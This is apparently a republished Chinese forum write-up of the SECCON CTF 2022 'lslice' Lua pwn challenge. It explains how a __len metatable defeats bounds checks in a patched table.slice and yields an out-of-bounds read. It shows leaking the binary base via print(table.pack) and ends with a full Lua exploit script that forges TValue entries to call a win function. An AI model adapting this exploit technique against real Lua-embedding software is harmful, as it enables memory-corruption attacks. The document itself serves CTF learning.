lua pwn 初探 —— SECCONCTF 2022 lslice
2023-1-2 18:1:21 Author: 看雪学苑(查看原文) 阅读量:8 收藏


本文为看雪论坛优秀文章

看雪论坛作者ID:hikonaka

author: h1k0


lslice 是 SECCON CTF 2022 出的一道 Lua Pwn,比赛时一直没找到漏洞点,对 Lua 也完全不熟悉,因此该题不得不放弃。后续在 github 上看到了别人的 writeup 并复现了一下,发现题目其实并不难,只是需要用到 Lua 中的某些特殊方法。


题目分析

基础信息

题目的描述是这样的:
Pull Request: Add slice method for Lua table,Commit: cfbe378f906061ee56f91acfbdf569d0d3fb9556
也就是说,出题人基于 Lua 项目的某个提交,为 lua 中的 table 添加了 slice 方法。
拿到题目附件后,发现题目给了一个 patch 文件,编译好的目标 binary 以及一些其他部属相关的文件,使用以下命令:
git clone [email protected]:lua/lua.gitgit checkout cfbe378f906061ee56f91acfbdf569d0d3fb9556git apply ../patch.diff
对 patch.diff 进行简要分析,发现主要做了 3 处修改:
  1. 限制了 Lua 中某些可以加载,查看文件的方法;
  2. 在 ltablib.c 中添加了 tslice 函数;
  3. 添加了 win 函数。
也就是说,该题的目标就是劫持控制流到 win 函数,那么 tslice 就是需要我们重点关注的函数。

tslice 函数分析

出题人添加的 tslice 函数如下所示,简单来说,该函数获取目标 table 的长度 len,以及 start 和 end 两个参数,之后对这些参数进行一些检查,并创建一个新的 table,最后将 start 和 end 之间的原始 table 数据拷贝到新创建的目标 table 处。
static int tslice (lua_State *L) {  int i, stackpos;  const TValue *src, *dst;  lua_Integer len, start, end, newlen;   /* Get table size */  len = aux_getn(L, 1, TAB_RW);   // first argument is the length of table  luaL_argcheck(L, len < INT_MAX, 1, "array too big");   /* Get start and end position */  start = luaL_checkinteger(L, 2);  // second argument is the start position  end = luaL_optinteger(L, 3, len);  // get third argument(if has) is the end position  if (lua_isnoneornil(L, 3))    end = len + 1;  else    end = luaL_checkinteger(L, 3);   /* Check start and end position */  if (start <= 0) start = 1;  else if (start > len) start = len;  if (end <= 0) end = 1;  else if (end > len + 1) end = len + 1;  luaL_argcheck(L, start <= end, 2,                "invalid slice range");   newlen = end - start;  stackpos = lua_gettop(L) + 1;   /* Create a new array */  lua_createtable(L, newlen, 0);  if (len > 0 && newlen > 0) {    src = &(L->ci->func + 1)->val;    dst = &(L->ci->func + stackpos)->val;    for (i = end - 1; i >= start; i--) {      hvalue(dst)->array[i - start] = hvalue(src)->array[i - 1];      TValue* tv = &((Table*)src->value_.p)->array[i-1];      printf("src: 0x%x 0x%x\n", tv->value_, tv->tt_);    }  }   return 1;}
经过多次检查,我们并没有在这个函数里找到可以被利用的点(所以当时放弃了qwq)。但后来看了别人的 wp 之后,发现该函数的漏洞点在于 api 使用,我们检查 aux_getn 这个函数:
#define aux_getn(L,n,w)    (checktab(L, n, (w) | TAB_L), luaL_len(L, n))
这个函数最后会通过 luaL_len 来获取 table 的长度,但是通过 luaL_len 获取到的 table 长度,一定是正确的吗?
其实做题时候我们也想到过是不是 api 使用出现了问题,但是检查了其他 table 的函数,发现在 api 的使用上似乎没有太大的区别 hhh,所以我认为,这个漏洞的 root cause 是 slice 这个功能,在 lua 里不应该被这么简单的实现。

Lua 元表(metatable)

Lua 的原表是解决这道题目的关键,有关 Lua 原表是什么网上的资料太多,大家直接搜索即可,这里仅给出一个例子,如下所示:
x = {1, 2, 3, 4, 5}print(#x) metatable = {__len = function() return 100 end}setmetatable(x, metatable)print(#x)
使用 lua 可执行文件运行该脚本,得到的结果如下所示:
❯ ./lua test.lua5100
这也就意味着,我们可以通过设置 Lua 中某个 table 的原表,来使得这个 table 的长度被 “修改” 为原表中 __len 函数返回的值。
经过实验,luaL_len 函数返回的 table 长度的确会被 table 的元表所影响,因此借助元表,我们就可以在 tslice 函数中控制 len ,绕过相关检查,从而控制 start 和 end,达到 OOB 的效果,这样我们就可以将一些 table 之外的数据复制到新的 table 中。


漏洞利用

地址泄露

在 Lua 中,如果我们执行 print(table.pack) 命令,就会打印出 table 中 tpack 函数的地址,我们可以借此获得 PIE 基址,进而获得 win 函数地址。
❯ ./luaLua 5.4.5  Copyright (C) 1994-2022 Lua.org, PUC-Rio> print(table.pack)function: 0x55ebbe5b3220
Lua 相关结构体

lua_State

Lua 解释器在实现过程中有多个重要的基础数据结构(比如表示 Lua 虚拟机状态的 gloabl_State 和 lua_State ,以及在函数调用中扮演重要角色的 CallInfo 等结构)。这里对 lua_State 和函数调用进行简要介绍,lua_State 结构体中一些关键成员变量如下所示:
struct lua_State {  CommonHeader; // 为 Lua 中所有可回收的对象添加的头  lu_byte status;  lu_byte allowhook;  unsigned short nci;  /* number of items in 'ci' list */  StkId top;  // 当前栈顶,会动态变化  global_State *l_G;  CallInfo *ci;  // 当前的 CallInfo 指针  StkId stack_last;  /* end of stack (last element + 1) */  StkId stack;  /* stack base */  UpVal *openupval;  /* list of open upvalues in this stack */  StkId tbclist;  /* list of to-be-closed variables */  GCObject *gclist;  // ...};
有关 Lua 的结构体和函数调用的具体过程,大家可参考 这位大佬写的博客(https://manistein.github.io/blog/post/program/let-us-build-a-lua-interpreter/%E6%9E%84%E5%BB%BAlua%E8%A7%A3%E9%87%8A%E5%99%A8part1/) ,此处暂不做迁移,仅仅做以下简要的总结:

(1)lua_State → ci 指向当前函数的 CallInfo

(2)lua_State → stack 和 lua_State → stack_last 划定了 lua 虚拟机栈的可用范围

(3)lua_State → top 指向当前栈顶

(4)lua_State → ci → func 指向当前函数在栈上的地址

(5)lua_State → ci → top 和 lua_State → ci → func 共同划定了当前函数可用的栈空间

具体到本题中,在调用 tslice 函数时,lua 虚拟机的栈结构如下图所示,其中栈宽度为 0x10 字节(lua 虚拟机中的栈结构体)。
在调用 lua_createtable 函数之后,lua 虚拟机将新创建的 table 放在栈上,如下图所示:

Table

在 lua 中,Table 的声明如下,其中需要我们重点关注的是 array 成员。可以看到,array 是 TValue 类型的指针,保存着 Table 中的数据。
typedef struct Table {  CommonHeader;  lu_byte flags;  /* 1<<p means tagmethod(p) is not present */  lu_byte lsizenode;  /* log2 of size of 'node' array */  unsigned int alimit;  /* "limit" of 'array' array */  TValue *array;  /* array part */  Node *node;  Node *lastfree;  /* any free position is before this position */  struct Table *metatable;  GCObject *gclist;} Table;
TValue
TValue 的声明如下,包含了成员 Value 和 tt_,其中 Value 是一个 union,代表值本身,而 tt_ 则代表该值的类型(lua 中值的类型具体分为了很多,可以在源码中自行分析)。
#define TValuefields    Value value_; lu_byte tt_ typedef struct TValue {  TValuefields;} TValue; typedef union Value {  struct GCObject *gc;    /* collectable objects */  void *p;         /* light userdata */  lua_CFunction f; /* light C functions */  lua_Integer i;   /* integer numbers */  lua_Number n;    /* float numbers */  /* not used, but may avoid warnings for uninitialized value */  lu_byte ub;} Value;
利用思路
(1)已知现在可以利用元表进行 OOB,任意控制 len,start 和 end,从而将 src table 之后的某段数据复制到 dst table 中;
(2)src table 和 dst table 都分配在堆上;
(3)TValue 可以被设置为 lua_CFunction 类型,对应的 _tt 为 0x16,如果我们拿到一个 TValue 结构体,使其 value 成员为 win 函数地址,_tt 成员为为 0x16,且该结构体是某个 table 的成员,那么我们就可以直接通过 table[index]() 的方法来调用该函数;
(4)答案呼之欲出,首先我们伪造大量符合 TValue 结构体的字符串,将其保存在 table 中;
(5)之后,我们希望将这些伪造的 TValue 作为值复制给 dst table,这就需要寻找伪造的 TValue 的地址(使用 gdb),这里将地址记录为 fake_addr ;
(6)在 lua 虚拟机中,字符串中的数据 和 字符串结构体 并不保存在一起,也就是说 table→array 中仅保存了字符串结构体,并不包含伪造的 TValue 数据。因此我们需要借助 gdb,计算出 fake_addr - table→array 的值,之后进行一些简单的处理计算出下标,便可利用 OOB,将伪造的 TValue 复制到 dst table 中;
(7)调用 dst table 中的函数,即可完成控制流劫持。

EXP

(看起来这里的代码高亮有点问题)
-- collectgarbage("stop") 垃圾回收器对堆布局会产生影响 -- print(table.pack) will print the function address of table.packprint(table.pack) pack_address_hex = string.sub(tostring(table.pack), 13)print('0x' .. pack_address_hex) pack_address = tonumber(pack_address_hex, 16)print(pack_address)-- print(string.format('%x', pack_address)) -- from ida, we can get that the offset of function 'tpack' is 0x27220binary_base = pack_address - 0x0000000000027220win_addr = binary_base + 0x0000000000007a40print("Found win: " .. string.format('0x%x', win_addr)) function int_to_array(v)    ret = {}    for i = 0, 7 do        table.insert(ret, v & 0xff) -- get last one byte        v = v >> 8    end    return retend function to_little_endian(a)    local bytearr = {}    for _, v in ipairs(a) do        local utf8_byte = v        table.insert(bytearr, string.char(utf8_byte))    end    return table.concat(bytearr)end pld = int_to_array(win_addr)pld = to_little_endian(pld) -- 将 win 函数的地址转换为小端序,类似 pwntools 中的 p64()pld = pld .. '\x16\x16\x16\x16\x16\x16\x16\x16' -- lua, LuaC_function: _tt / 0x16pld = string.rep(pld, 100) -- 伪造大量结构体,方便寻找print(string.len(pld)) -- make a table with fake metatablex = {    "w", "c", pld, "y", "x"}metatable = {}function metatable.__len(a)    return 3000endsetmetatable(x, metatable) s = table.slice(x, 720, 730) -- 计算出的伪造 TValue 偏移s[1]() -- 调用 win 函数
利用成功的截图如下所示:
https://manistein.github.io/blog/post/program/let-us-build-a-lua-interpreter/%E6%9E%84%E5%BB%BAlua%E8%A7%A3%E9%87%8A%E5%99%A8part1/

看雪ID:hikonaka

https://bbs.pediy.com/user-home-905245.htm

*本文由看雪论坛 hikonaka 原创,转载请注明来自看雪社区

# 往期推荐

1.CVE-2022-21882提权漏洞学习笔记

2.wibu证书 - 初探

3.win10 1909逆向之APIC中断和实验

4.EMET下EAF机制分析以及模拟实现

5.sql注入学习分享

6.V8 Array.prototype.concat函数出现过的issues和他们的POC们

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458489896&idx=2&sn=a4cc99907fc60dc8502b1b86e406179f&chksm=b18ea4a286f92db4c6b373c4b5b6d63d358763af66b56590c098cb4f2e382110f7ff91b8f8b6#rd
如有侵权请联系:admin#unsafe.sh